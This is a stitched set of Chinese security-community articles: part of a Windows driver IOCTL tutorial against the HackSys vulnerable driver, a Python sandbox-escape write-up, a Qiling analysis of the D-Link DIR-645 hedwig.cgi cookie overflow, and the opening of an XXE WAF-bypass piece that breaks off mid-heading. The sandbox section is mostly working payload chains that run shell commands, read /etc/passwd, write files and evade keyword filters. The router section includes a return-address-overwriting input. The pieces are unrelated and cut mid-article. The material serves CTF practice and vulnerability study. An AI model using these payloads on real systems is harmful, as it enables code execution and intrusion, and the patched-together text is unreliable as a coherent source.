每个IOCTL的编号由一个宏确定，这个宏位于标准的Windows头文件winioctl.h中：
如果你在程序中包含了windows.h头文件，上面这个宏就会被自动添加到代码中。现在，我们不要被这些常量的具体含义所困扰，我们可以直接使用已定义好的这些元素。
我们准备写个简单的用户态程序，来与驱动交流。首先，我们使用CreateFile函数打开设备。然后，我们使用DeviceControl函数向设备发送IOCTL。
简单的示例程序如下所示。这个程序会向驱动发送STACK_OVERFLOW IOCTL，程序源码为send_ioctl.cpp：
#include <stdio.h>
#include <windows.h>
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
const char kDevName[] = "\\.\HackSysExtremeVulnerableDriver";
HANDLE open_device(const char* device_name)
{
HANDLE device = CreateFileA(device_name,
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL
);
return device;
}
void close_device(HANDLE device)
{
CloseHandle(device);
}
BOOL send_ioctl(HANDLE device, DWORD ioctl_code)
{
//prepare input buffer:
DWORD bufSize = 0x4;
BYTE* inBuffer = (BYTE*) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize);
//fill the buffer with some content:
RtlFillMemory(inBuffer, bufSize, 'A');
DWORD size_returned = 0;
BOOL is_ok = DeviceIoControl(device,
ioctl_code,
inBuffer,
bufSize,
NULL, //outBuffer -> None
0, //outBuffer size -> 0
&size_returned,
NULL
);
//release the input bufffer:
HeapFree(GetProcessHeap(), 0, (LPVOID)inBuffer);
return is_ok;
}
int main()
{
HANDLE dev = open_device(kDevName);
if (dev == INVALID_HANDLE_VALUE) {
printf("Failed!n");
system("pause");
return -1;
}
send_ioctl(dev, HACKSYS_EVD_IOCTL_STACK_OVERFLOW);
close_device(dev);
system("pause");
return 0;
}
编译这个代码，然后将其部署到被调试主机上。运行DebugView，观察驱动打印的调试信息。
如果你在调试主机上启动了调试字符串打印功能，你应该可以看到类似输出：
正如你在输出信息中看到的那样，驱动的确收到了我们的输入，然后输出了对应的信息。
**3.3 练习时间：引起系统崩溃**
作为一个练习，我为HEVD创建了一个小型客户端，客户端可以根据所需的输入缓冲区长度向HEVD发送许多不同的IOCTL。读者可以阅读相关源码以及编译好的32位程序了解更多信息。
你可以尝试使用各种不同的IOCTL，直到系统崩溃为止。由于被调试主机运行在调试主机的控制之下，因此不会出现系统蓝屏，相反，崩溃点会触发WinDbg。让我们尝试对每种情况都做个简单的崩溃分析。首先从打印信息开始：
!analyze -v
其他一些有用的命令：
k – 栈跟踪
kb – 带有参数的栈跟踪
r – 寄存器
dd [address]- 从address处开始以DWORD形式显示数据
你可以参考WinDbg的帮助文件查看更多命令：
.hh
在我们的示例程序中，用户缓冲区被字符“A”（即ASCII 0x41）填满。
RtlFillMemory(inBuffer, bufSize, 'A');
因此，不论我们在崩溃分析的哪个地方看到这个特征，都意味着这段特定的数据可以被用户填充。
示例 #1：
示例 #2：
需要注意的是，你在触发同样的漏洞时可能会得到不同的输出，这取决于崩溃点的实时来源，这些来源包括溢出点的大小、当前内存的布局等等。
**四、附录**
1\. <https://github.com/mwrlabs/win_driver_plugin>：
Sam Brown开发的一个IDA Pro插件，在处理IOCTL控制码或者逆向Windows驱动时非常有用。 | 社区文章 |
# 禁用import的情况下绕过python沙箱
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 本文总结一些python沙盒在禁用了`import`,`__import__` ,无法导入模块的情况下沙盒绕过的一些方法,
> 国赛上出了一道python沙盒的题,做了一天没做出来, 让我知道我对python一无所知, 于是总结了一篇文章,大佬勿喷.
## basic
1. 在Python里，这段`[].__class__.__mro__[-1].__subclasses__()`魔术代码，不用import任何模块，但可调用任意模块的方法。
2 查看Python版本
Python2.x和Python3.x有一些区别，Bypass前最好知道Python版本。
我们知道，sys.version可以查看python版本。
>>> import sys
>>> sys.version
'2.7.10 (default, Oct 23 2015, 19:19:21) n[GCC 4.2.1 Compatible Apple LLVM 7.0.0 (
1. 查看当前内存空间可以调用的函数
print __builtins__
dir()
dir(__builtins__)
###
## trick1
内置函数,可以通过`dir(__builtins__)` 看看有哪些内置函数可以利用的.
eval: eval('import("os").system("ls")')
input: import('os').system('ls')
open,file: file('/etc/passwd').read() open('/etc/passwd').read()
exec : exec("__import__('os').system('ls')");
execfile: 加载文件进内，相当于from xx import *
execfile('/usr/lib/python2.7/os.py') system('ls')
map 回调函数
map(os.system,['ls'])
###
## trick2
`__globals__`
：该属性是函数特有的属性，记录当前文件全局变量的值，如果某个文件调用了os,sys等库，但我们只能访问该文件某个函数或者某个对象，那么我们就可以利用`__globals__`
属性访问全局的变量
>>> a = lambda x:x+1
>>> dir(a)
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
>>> a.__globals__
{'__builtins__': <module '__builtin__' (built-in)>, '__name__': '__main__', '__doc__': None, 'a': <function <lambda> at 0x7fcd7601ccf8>, '__package__': None}
>>> a.func_globals
{'__builtins__': <module '__builtin__' (built-in)>, '__name__': '__main__', '__doc__': None, 'a': <function <lambda> at 0x7f1095d72cf8>, '__package__': None}
(lambda x:1).__globals__['__builtins__'].eval("__import__('os').system('ls')")
我们看到`__globals__` 是一个字典，默认有`__builtins__`对象,另外func _globals和` __globals__ `
作用一样
在python sandbox中一般会过滤`__builtins__`内容，这样 **globals**
里面的`__builtins__`也就没有什么意义了,即使重新`import __builtin__` 还是一样.
####
## 2.1 执行系统命令
在python2.7.10里，
`[].class.base.subclasses()` 里面有很多库调用了我们需要的模块os
/usr/lib/python2.7/warning.py
58 <class 'warnings.WarningMessage'>
59 <class 'warnings.catch_warnings'>
/usr/lib/python2.7/site.py
71 <class 'site._Printer'>
72 <class 'site._Helper'>
76 <class 'site.Quitter'>
我们来看一下`/usr/lib/python2.7/warning.py`导入的模块
import linecache
import sys
import types
跟踪linecache文件`/usr/lib/python2.7/linecache.py`
import sys
import os
OK,调用了os,可以执行命令，于是一个利用链就可以构造了:
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')
> **dict** 和 **globals**
> 都是字典类型，用[]键值对访问，也可以通过values(),keys()这样的方法来转换成list,通过下标来访问
还要大佬给了一个不需要利用`__globals__`就可以执行命令的payload：
[].__class__.__base__.__subclasses__()[59]()._module.linecache.os.system('ls')
我们来在来看一下`/usr/lib/python2.7/site.py`导入的模块
import sys
import os
import __builtin__
import traceback
直接构造:
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
###
### 2.2 禁用了 **globals** 如何绕过
在今年国赛上有一道run的沙盒绕过的题目,白名单过滤了`import` 导入的内容, 禁用了ls,即`__globals__`
用不了了,想了很多其他方式都没有绕过去,赛后才知道的方法,这里也写一下
绕过方法就是利用类的一些描述器方法
`__getattribute__`:
当访问
某个对象的属性时，会无条件的调用这个方法。比如调用`t.__dict__`,其实执行了`t.__getattribute__("__dict__")`函数,
这个方法只适用于新式类。
新式类就是集成自object或者type的类。
于是我们就可以利用`__init__.__getattribute__('__global'+'s__')` 拼接字符串的方法来绕过ls的关键字
而不是直接调用`__init__.__globals__`
最终的payload为:
print [].__class__.__mro__[-1].__subclasses__()[71].__init__.__getattribute__('__global'+'s__')['o'+'s'].__dict__['sy'+'stem']('ca'+'t /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb')
有点不明白的就是下面这条命令执行不了,不知道为什么,本机上是可以执行的,不然也是完全可以绕过所有关键字的.
[].__class__.__base__.__subclasses__()[59]()._module.linecache.__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s')
> 还有两个描述器方法和这个方法类似,但还是有区别的
`__getattr__`: 只有 **getattribute** 找不到的时候,才会调用 **getattr**.
`__get__`: 当函数被当作属性访问时，它就会把函数变成一个实例方法。
run这题的源码如下,有兴趣的可以研究一下
sandbox.py
#!/usr/bin/env python
# -*- coding: utf-8 -*- # @Date : 2018-04-09 23:30:58
# @Author : Xu ([email protected])
# @Link : https://xuccc.github.io/
# @Version : $Id$
from sys import modules
from cpython import get_dict
from types import FunctionType
main = modules['__main__'].__dict__
origin_builtins = main['__builtins__'].__dict__
def delete_type():
type_dict = get_dict(type)
del type_dict['__bases__']
del type_dict['__subclasses__']
def delete_func_code():
func_dict = get_dict(FunctionType)
del func_dict['func_code']
def safe_import(__import__,whiteList):
def importer(name,globals={},locals={},fromlist=[],level=-1):
if name in whiteList:
return __import__(name,globals,locals,fromlist,level)
else:
print "HAHA,[%s] has been banned~" % name
return importer
class ReadOnly(dict):
"""docstring for ReadOnlu"""
def __delitem__(self,keys):
raise ValueError(":(")
def pop(self,key,default=None):
raise ValueError(":(")
def popitem(self):
raise ValueError(":(")
def setdefault(self,key,value):
raise ValueError(":(")
def __setitem__(self,key,value):
raise ValueError(":(")
def __setattr__(self, name, value):
raise ValueError(":(")
def update(self,dict,**kwargs):
raise ValueError(":(")
def builtins_clear():
whiteList = "raw_input SyntaxError ValueError NameError Exception __import__".split(" ")
for mod in __builtins__.__dict__.keys():
if mod not in whiteList:
del __builtins__.__dict__[mod]
def input_filter(string):
ban = "exec eval pickle os subprocess input sys ls cat".split(" ")
for i in ban:
if i in string.lower():
print "{} has been banned!".format(i)
return ""
return string
# delete_type();
del delete_type
delete_func_code();del delete_func_code
builtins_clear();del builtins_clear
whiteMod = []
origin_builtins['__import__'] = safe_import(__import__,whiteMod)
safe_builtins = ReadOnly(origin_builtins);del ReadOnly
main['__builtins__'] = safe_builtins;del safe_builtins
del get_dict,modules,origin_builtins,safe_import,whiteMod,main,FunctionType
del __builtins__, __doc__, __file__, __name__, __package__
print """
____
| _ _ _ _ __
| |_) | | | | '_
| _ <| |_| | | | |
|_| _\__,_|_| |_|
Escape from the dark house built with python :)
Try to getshell then find the flag!
"""
while 1:
inp = raw_input('>>>')
cmd = input_filter(inp)
try:
exec cmd
except NameError, e:
print "wow something lose!We can't find it ! D:"
except SyntaxError,e:
print "Noob! Synax Wrong! :("
except Exception,e:
print "unknow error,try again :>"
cpython
from ctypes import pythonapi,POINTER,py_object
_get_dict = pythonapi._PyObject_GetDictPtr
_get_dict.restype = POINTER(py_object)
_get_dict.argtypes = [py_object]
del pythonapi,POINTER,py_object
def get_dict(ob):
return _get_dict(ob).contents.value
####
## trick3: 调用file函数读写文件
().__class__.__mro__[-1].__subclasses__()[40]("/etc/passwd").read() //调用file子类
().__class__.__mro__[-1].__subclasses__()[40]('/tmp/1').write("11") //写文件
#### trick4: zipimport.zipimporter
55 <type 'zipimport.zipimporter'>
我们查看zipimport的帮助手册，发现有个load_module函数，可以导入相关文件到内存中
| load_module(...)
| load_module(fullname) -> module.
|
| Load the module specified by 'fullname'. 'fullname' must be the
| fully qualified (dotted) module name. It returns the imported
| module, or raises ZipImportError if it wasn't found.
于是我们可以先制作一个包含payload的zip文件:
import os
print os.system('cat *')
利用file函数写入zip到`/tmp/`目录下，然后再调用zipimport.zipimporter导入zip文件中的内容到内存,构造利用链如下:
v = ().__class__.__mro__[-1].__subclasses__()
a = "x50x4bx03x04x14x03x00x00x08x00xcexadxa4x42x5ex13x60xd0x22x00x00x00x23x00x00x00x04x00x00x00x7ax2ex70x79xcbxccx2dxc8x2fx2ax51xc8x2fxe6x2ax28xcaxccx03x31xf4x8ax2bx8bx4bx52x73x35xd4x93x13x4bx14xb4xd4x35xb9x00x50x4bx01x02x3fx03x14x03x00x00x08x00xcexadxa4x42x5ex13x60xd0x22x00x00x00x23x00x00x00x04x00x00x00x00x00x00x00x00x00x20x80xa4x81x00x00x00x00x7ax2ex70x79x50x4bx05x06x00x00x00x00x01x00x01x00x32x00x00x00x44x00x00x00x00x00"
v[40]('/tmp/z','wb').write(a)
v[55]('/tmp/z').load_module('z')
缺点: 需要导入zlib库，如果无法导入的话，该方法失效
## 参考
<https://zolmeister.com/2013/05/escaping-python-sandbox.html>
[https://mp.weixin.qq.com/s?__biz=MzIzOTQ5NjUzOQ==&mid=2247483665&idx=1&sn=4b18de09738fdc5291634db1ca2dd55a](https://mp.weixin.qq.com/s?__biz=MzIzOTQ5NjUzOQ==&mid=2247483665&idx=1&sn=4b18de09738fdc5291634db1ca2dd55a) | 社区文章 |
原文链接：<https://github.com/nahueldsanchez/blogpost_qiling_dlink_1>
## 使用Qiling框架分析Dlink DIR-645中的缓冲区溢出(part I)
### 介绍
在过去的几周中，我一直在玩一个非常有趣的项目：[Qiling](https://www.qiling.io/)框架。我认为最好的学习方法就是边实践边学，因此我想使用该框架进行一些实践。
### 目的
我的目标是了解，复现和利用`Roberto
Palear`在2013年报告的漏洞`(CVE-2013-7389)`。现在，使用`Qiling`和一些免费工具，对该存在7年且影响多个`Dlink`路由器的漏洞进行分析。您可以在此处找到[公告](http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt)。
我将重点关注`“hedwig.cgi”`上存在的缓冲区溢出。对于熟悉`MIPS`和漏洞分析的人来说，这是非常基础的，但是由于我对`MIPS`几乎一无所知，所以这很有趣，并且可以学到很多东西。希望你们也会喜欢它。
### 总体思路
第一步是在确定要完成的工作：
1. 理解造成漏洞的原因
2. 复现漏洞
3. 使用`Ghidra`进行补丁分析，清楚固件中的补丁
4. 在`Qiling`上运行二进制文件时为其编写`exp`（可与硬件或`Qemu`一起使用）
5. 学习如何使用`Free RE`工具
所以，我们从第一步开始。
#### 理解造成漏洞的原因
利用提供的有关受影响固件版本的信息，我在Google上搜索下载存在漏洞的[固件](http://ftp.dlink.ru/pub/Router/DIR-645/Firmware/)。
下载后，使用`binwalk`解固件。
解固件后，将位于`sbin`目录中的二进制文件`httpd`加载到`Ghidra` 中，并没有任何`Bug`的相关信息。
> 注：我的艰难过程得出的结论是：该错误位于接受HTTP连接的二进制文件中，让我们来看一下。
我再次阅读了该公告，并寻找`\*hedwig\*cgi`的二进制程序
$ find . -name *hedwig*cgi
./htdocs/web/hedwig.cgi
$ ls -larth ./htdocs/web/hedwig.cgi
lrwxrwxrwx ./htdocs/web/hedwig.cgi -> /htdocs/cgibin
如你所看到的，`hedwig.cgi` 符号链接到二进制程序`cgibin`，我们来分析它！
我将二进制文件加载到`Ghidra`中，并查找了`hedwig.cgi`字符串：
我搜索了使用过该字符串的位置，并且跟进去
看一下反编译后的代码：
如您所见，二进制文件采用一个字符串并将其与我们感兴趣的字符串进行比较，如果相同，则将调用`hedwigcgi_main`函数。我认为在调用`cgibin`二进制文件时将字符串作为参数使用，但是字符串是从二进制文件本身的名称中获取的-因此对`hedwig.cgi`进行符号链接。为了解决这个问题，在`htdocs`目录中创建了相同的符号链接：
squashfs-root/htdocs$ ls -larth hedwig.cgi
hedwig.cgi -> cgibin
一开始我只是使用`Qiling`的`hook`地址功能快速修复了此问题，将程序流从第一条指令重定向到我感兴趣的函数。
MAIN_ADDR = 0x0402770
HEDWIGCGI_MAIN = 0x0040bfc0
def redirect_to_hedwigcgi_main(ql):
ql.reg.arch_pc = HEDWIGCGI_MAIN
return
...
ql = Qiling(path, rootfs, output = "debug", env=required_env)
ql.hook_address(redirect_to_hedwigcgi_main, MAIN_ADDR)
...
#### 在hedwingcgi_main函数中寻找漏洞
一旦确定了存在漏洞的函数，便会使用研究人员提供的`PoC`和`metasploit`中可用的`exp`。它们都以（或多或少）相同的方式去触发漏洞，即进行`HTTP`请求：
...
POST /hedwig.cgi
cookie: uid=(PAYLOAD)
...
我快速搜索了`“uid”`字符串，我猜测在解析该字符串时会出现问题：
我检查了它的引用位置：
第一个和第二个引用位与`sess_get_uid`函数的内部，最后两个位于一个没有符号的函数中。我决定跟进去`sess_get_uid`函数，并检查该函数是否被`hedwigcgi_main`所调用。
另一个有意思的是我们可以使用`Qiling`模拟二进制文件函数的功能：
import sys
sys.path.append("..")
from qiling import *
MAIN = 0x0402770
HEDWIGCGI_MAIN_ADDR = 0x0040bfc0
SESS_GET_UID = 0x004083f0
def my_sandbox(path, rootfs):
ql = Qiling(path, rootfs, output = "none")
ql.add_fs_mapper('/tmp', '/var/tmp') # Maps hosts /tmp to /var/tmp
ql.hook_address(lambda ql: ql.nprint("** At [main] **"), MAIN)
ql.hook_address(lambda ql: ql.nprint("** At [hedwigcgi_main] **"), HEDWIGCGI_MAIN_ADDR)
ql.hook_address(lambda ql: ql.nprint("** At [sess_get_uid] **"), SESS_GET_UID)
ql.run()
if __name__ == "__main__":
my_sandbox(["_DIR645A1_FW103RUB08.bin.extracted/squashfs-root/htdocs/hedwig.cgi"], "_DIR645A1_FW103RUB08.bin.extracted/squashfs-root")
输出为：
...
mprotect(0x77569000, 0x1000, 0x1) = 0
mprotect(0x47ce000, 0x1000, 0x1) = 0
ioctl(0x0, 0x540d, 0x7ff3ca30) = -1
ioctl(0x1, 0x540d, 0x7ff3ca30) = -1
** At [main] **
** At [hedwingcgi_main] **
write(1,7756d038,112) = 0
HTTP/1.1 200 OK
Content-Type: text/xml
...
我们可以看到执行到`_main_`，`_hedwigcgi_main_`但尚未到`_session_get_uid_`。看一下代码，找到进入此函数的条件。
...
http_request_method = getenv("REQUEST_METHOD");
if (http_request_method == (char *)0x0) {
http_request_method = "no REQUEST";
} else {
is_http_POST = strcasecmp(http_request_method, "POST");
if (is_http_POST != 0) {
http_request_method = "unsupported HTTP request";
goto invalid_http_method;
}
...
来看下`Ghidra`生成的反编译代码，我们可以看到`hedwigcgi_main`函数会检查并在环境变量中寻找`REQUEST_METHOD`。如果该变量不包含`POST`值，将不会进入到该函数。
> 注意：假设在实际的硬件中，由于某种原因，这些环境变量已经被填充，因此不必检查谁在执行此操作。
使用`Qiling`可以轻松设置环境变量：
...
required_env = {
"REQUEST_METHOD": "POST",
}
ql = Qiling(path, rootfs, output = "none", env=required_env)
...
我们只需要传递一个字典，其中的键名是变量的名称和键值即为其值。
让我们尝试再次运行二进制文件，这次是在我们的伪环境中进行：
...
mprotect(0x77569000, 0x1000, 0x1) = 0
mprotect(0x47ce000, 0x1000, 0x1) = 0
ioctl(0x0, 0x540d, 0x7ff3ca08) = -1
ioctl(0x1, 0x540d, 0x7ff3ca08) = -1
** At [main] **
** At [hedwingcgi_main] **
brk(0x0)
brk(0x438000)
open(/etc/config/image_sign, 0x0, 0o0) = 3
ioctl(0x3, 0x540d, 0x7ff3c818) = -1
brk(0x439000)
read(3, 0x437098, 0x1000) = 27
close(3) = 0
** At [sess_get_uid] **
socket(1, 1, 0) = 3
fcntl(3, 2) = 0
...
现在我们执行到了我们所感兴趣的点。看了一下函数之后，该函数应该检查了`HTTP COOKIE header`。
cookie_value = getenv("HTTP_COOKIE");
然后会搜索`“ uid”`字符串；一旦找到，就会处理它的值。我猜测这个函数会处理包含在`cookie header`中多个值，如下所示：
Cookie: Avalue=123;OtherVal=AAA;uid=TEST
看一下`exp`，我们可以看到发送包含`uid=(enough_data)`的`Cookie header`的`HTTP`请求就可以触发漏洞.
我们设置HTTP_COOKIE环境变量来触发该漏洞：
...
buffer = "uid=%s" % (b"A" * 1041 + b"1111")
required_env = {
"REQUEST_METHOD": "POST",
"HTTP_COOKIE" : buffer
}
...
这是脚本运行后的输出。为了清楚起见，省略了部分内容：
...
** At [main] **
** At [hedwingcgi_main] **
** At [sess_get_uid] **
[!] Emulation Error
[-] s0 : 0x41414141
[-] s1 : 0x41414141
[-] s2 : 0x41414141
[-] s3 : 0x41414141
[-] s4 : 0x41414141
[-] s5 : 0x41414141
[-] s6 : 0x41414141
[-] s7 : 0x41414141
[-] t8 : 0x8
[-] t9 : 0x0
[-] k0 : 0x0
[-] k1 : 0x0
[-] gp : 0x43b6d0
[-] sp : 0x7ff3c608
[-] s8 : 0x41414141
[-] ra : 0x41414141
[-] status : 0x0
[-] lo : 0x0
[-] hi : 0x0
[-] badvaddr : 0x0
[-] cause : 0x0
[-] pc : 0x41414140
[-] cp0_config3 : 0x0
[-] cp0_userlocal : 0x0
[+] PC = 0x41414140
[+] Start End Perm. Path
unicorn.unicorn.UcError: Invalid memory read (UC_ERR_READ_UNMAPPED)
可以看到，我们触发了该漏洞！该函数正在解析我们的输入，并以某种方式进行了错误的处理，最终将其复制到错误的位置，并覆盖了之前寄存器的值。检查一下。现在我们已经很清楚了`Bug`的位置，需要找到确切的位置。为此，我尝试了不同方法：
* 调试！可以使用GDB调试二进制文件。当我第一次尝试时，遇到了一些问题，我打开了一个[issue]（<https://github.com/qilingframework/qiling/issues/415），并得到了解决。>
只需要执行以下操作便可调试：
...
ql.debugger = True
...
$ python emulate_hedwigcgi.py
debugger> Initializing load_address 0x0
debugger> Listening on 127.0.0.1:9999
我们需要安装`gdb-multiarch`，执行：
sudo apt-get install gdb-multiarch
并`Attach`到`Qiling`：
$ gdb-multiarch
(gdb) set remotetimeout 100
(gdb) target remote 127.0.0.1:9999
Remote debugging using 127.0.0.1:9999
warning: while parsing target description: no element found
warning: Could not load XML target description; ignoring
warning: while parsing target description: no element found
warning: Could not load XML target description; ignoring
Reading /lib/ld-uClibc.so.0 from remote target...
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
0x004025c0 in _ftext ()
`Qiling`可以很容易的在触发异常之前打印出每条指令，我们可以定义一个打印所有已执行的指令的回调函数。并将此回调`hook`到`sess_get_uid`的开始。
...
# From https://github.com/qilingframework/qiling/blob/master/examples/hello_x8664_linux_disasm.py
def print_asm(ql, address, size):
buf = ql.mem.read(address, size)
for i in md.disasm(buf, address):
print(":: 0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))
####
...
def hook_sess_get_uid(ql):
ql.hook_code(print_asm)
ql.hook_address(hook_sess_get_uid, SESS_GET_UID)
当有大量的代码执行时，该功能将不起作用，并且不能帮助找到越界写入发生的准确位置。同样可能产生如内存损坏发生在位置`X`，寄存器在位置`Y`被覆盖这样的情况（执行`ret`指令时）。
然后我提出了第二个想法：我决定检查潜在的不安全函数诸如`strcpy`的用法。同样我们可以[`Qiling
hook`](https://docs.qiling.io/en/latest/hijack/#on-enter-interceptor-on-posix-function-with-qlset_api)函数：
...
# Once strcpy is called we'll print the arguments and pass them to the real strcpy
def strcpy_hook(ql):
print("dst: %s" % hex(ql.os.function_arg[0]))
print("src: %s" % ql.mem.string(ql.os.function_arg[1]))
#Not sure why I have to return 2 to continue with the call
#to the strcpy function. This was taken from example:
#hello_mips32el_linux_function_hook.py
return 2
ql.set_api('strcpy', strcpy_hook, QL_INTERCEPT.ENTER)
...
检查结果
** At [sess_get_uid] **
dst: 0x437898
src: b'AAAAAAAAAAAAAAAAAA...AAA'
...
[+] PC = 0x41414140
OK，现在我们知道缓冲区的写入位置（`0x437898`），并且调用了`strcpy`。
当我第一次发现这个我很高兴，我认为`strcpy`是造成崩溃的根本原因。但是，如果检查目标地址（0x437898），该地址为堆内地址。
...
[+] 00437000 - 00438000 - rwx [brk]
...
同样，如果我们看一下strcpy在哪里进行了复制数据的操作，就会发现在`sess_get_uid`函数一开始就会调用`sobj_new`函数。这将返回一个指向用`malloc`(堆)分配的内存的指针。
因此，我的疑问点：如果`strcpy`的目的地址是`0x437898`（即堆），并且是由于`PC`指向无效的地址而导致的程序崩溃，这是怎么回事？不知何故，传入的超长字符串必须最终覆盖堆栈中的某些内容，但显然在`strcpy`之后并没有发生这种情况，我不得不调试好几个小时来完全了解发生了什么。
答案是在地址`0x0040c1c0`处调用了`sprintf`函数。该函数接收三个字符串作为参数，如下面的代码片段所示：
0040c1b4 21 38 40 00 move a3,v0
0040c1b8 21 30 40 02 move a2=>s_/runtime/session_00420140,s2 = "/runtime/session"
0040c1bc 2c 08 a5 24 addiu a1=>s_%s/%s/postxml_0042082c,a1,0x82c = "%s/%s/postxml"
`$a3`寄存器指向缓冲区：
gef➤ x/s $a3
0x437898: "b'", 'A' <repeats 2000 times>, "'"
`sprintf`将使用指定的格式和缓冲区来格式化作为参数传递的字符串，更重要的是目的地是栈中的局部变量
gef➤ x/s $s1
0x7ff3c1e0: "/runtime/session/b'", 'A' <repeats 2000 times>, "'/postxml"
至此，疑惑已经解开。总结：
1. 发送包含`COOKIE header`的`HTTP POST`请求
2. `header`必须包含`uid =(BUFFER)`字符串
3. `strcpy`将复制`（BUFFER）`到堆中而不检查大小
4. `sprintf`会将我们的输入`uid =(BUFFER)`作为某些字符串格式的一部分，将结果存储在栈中的变量中。如果`(BUFFER)`足够大，它将最终覆盖先前保存的寄存器，包括返回地址。
为了检查最后一点，我在`hedwigcgi_main`函数的返回指令中下了一个断点：
Breakpoint 1, 0x0040c594 in hedwigcgi_main ()
...
$s0 : 0x41414141 ("AAAA"?)
$s1 : 0x41414141 ("AAAA"?)
$s2 : 0x41414141 ("AAAA"?)
$s3 : 0x41414141 ("AAAA"?)
$s4 : 0x41414141 ("AAAA"?)
$s5 : 0x41414141 ("AAAA"?)
$s6 : 0x41414141 ("AAAA"?)
$s7 : 0x41414141 ("AAAA"?)
$t8 : 0x8
$t9 : 0x0
$k0 : 0x0
$k1 : 0x0
$s8 : 0x41414141 ("AAAA"?)
$pc : 0x0040c594
$sp : 0x7ff3c120
$hi : 0x0
$lo : 0x0
$fir : 0x0
$ra : 0x41414141 ("AAAA"?)
...
→ 0x40c594 <hedwigcgi_main+1492> jr ra
显然，`sprintf`复制了`（BUFFER）`并覆盖了先前保存的寄存器的值，这样就很容易稳定的代码执行。
### 结论
最后！我们解决了这个问题。我花了很大的精力将各个部分放在一起，并充分了解了`strcpy`是如何导致崩溃的。我上传了在博文中一直使用的`Python`脚本作为参考。你可以在这里找到[它](https://github.com/nahueldsanchez/blogpost_qiling_dlink_1/blob/master/src/emulate_cgibin.py).。在本系列的下一部分中，我将继续研究如何编写可在`Qiling`中使用的漏洞利用程序。
### 参考资料
<https://web.archive.org/web/20140418120534/http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008>
<https://people.cs.pitt.edu/~xujie/cs447/Mips/sub.html>
<https://conference.hitb.org/hitblockdown002/materials/D1%20VIRTUAL%20LAB%20-%20Qiling%20Framework%20-%20Kaijern%20Lau.pdf> | 社区文章 |
# 前言
XXE或XML外部实体是2017年OWASP Top
10漏洞列表中的新问题。这是基于来自安全问题数据库的直接数据证据而引入的唯一一个新问题。XML通常用于从movies到Docker容器的所有内容的元数据，并且是API协议(如REST、WSDL、SOAP、Web-RPC和其他协议)的基础，而且，一个应用程序可能包含多个链接的XML解释器，这些解释器处理来自不同应用程序层的数据。这种通过XML解释器在应用程序堆栈中的不同位置注入外部实体的潜在隐患使XXE变得很危险。
许多Web应用程序防火墙能够保护Web服务器免受XXE攻击。
在Wallarm CEO, Ivan Novikov的文章[Security
Boulevard](https://securityboulevard.com/2018/07/what-you-think-you-know-about-the-owasp-top-10-may-be-wrong/ "Security Boulevard")中这样写道：
> 实际上，XXE不是一个bug，而是XML解析器的well-documented特性。XML数据格式允许您在XML文档中包含任何外部文本文件的内容。
包含攻击代码的XML文档示例：
这里的文本`$attack；`指的是前面注册的实体的链接。链接中指定的文件内容将其替换为文档正文中的内容。
上述文档分为三个重要部分：
1.可选标头，`<?xml?>`用于定义基本文档特征，例如版本和编码。
2.XML文档模式的可选声明——`<!DOCTYPE>`。此声明可用于设置外部链接。
3.文档正文。它有一个层次结构，其根部是指定的标签`<! DOCTYPE>`
正确配置的XML解释器要么不接受包含XML链接的文档进行处理，要么将验证链接及其来源，如果缺少验证，则可以通过链接加载任意文件并将其集成到文档体中，如上面的示例所示。
在本文中，我们将根据WAF处理XML验证的方式来研究两种类型的WAF：
1.成熟的waf——使用自己的解析器预处理XML文档的WAFs。
2.基于正则表达式。仅搜索数据中的特定子字符串或正则表达式的WAFS。
不幸的是，这两种类型的WAF都可以绕过。
下面我们展示了攻击者可以用来骗过WAF并获得XXE的几种方法。
# 方法1：文档中的额外空格
由于XXE通常在XML文档的开头，所以比较省事儿的WAF可以避免处理整个文档，而只解析它的开头。但是，XML格式允许在格式化标记属性时使用任意数量的空格，因此攻击者可以在`<?xml?>`或`<!DOCTYPE>`中插入额外的空格，从而绕过此类WAF。
# 方法2：格式无效
为了绕过WAF，攻击者可能会发送特殊格式的XML文档，以便WAF认为它们无效。
## 链接到未知实体
比较成熟的WAF设置通常不会读取链接文件的内容。这种策略通常是有意义的，否则，WAF本身也可能成为攻击的目标。问题是，外部资源的链接不仅可以存在于文档的第三部分（正文），还可以存在于声明<!
DOCTYPE>中 。
这意味着未读取文件内容的WAF将不会读取文档中实体的声明。而指向未知实体的链接又会阻止XML解析器导致错误。
幸运的是，防止这样的绕过非常简单——命令WAF中的XML解析器在遇到未知实体后不要关闭。
# 方法三:外来编码（Exotic encodings）
除了前面提到的xml文档的三个部分之外，还有位于它们之上的第四个部分，它们控制文档的编码（例如<?xml?>）——文档的第一个字节带有可选的BOM(字节顺序标记)。
更多信息：<https://www.w3.org/TR/xml/#sec-guessing>
一个xml文档不仅可以用UTF-8编码，也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 -BE、LE、2143、3412)和EBCDIC编码。
在这种编码的帮助下，使用正则表达式可以很容易地绕过WAF，因为在这种类型的WAF中，正则表达式通常仅配置为单字符集。
外来编码也可用于绕过成熟的WAF，因为它们并不总是能够处理上面列出的所有编码。例如，libxml2解析器只支持一种类型的utf-32 -utf-32BE，特别是不支持BOM。
# 方法4：在一个文档中使用两种类型的编码
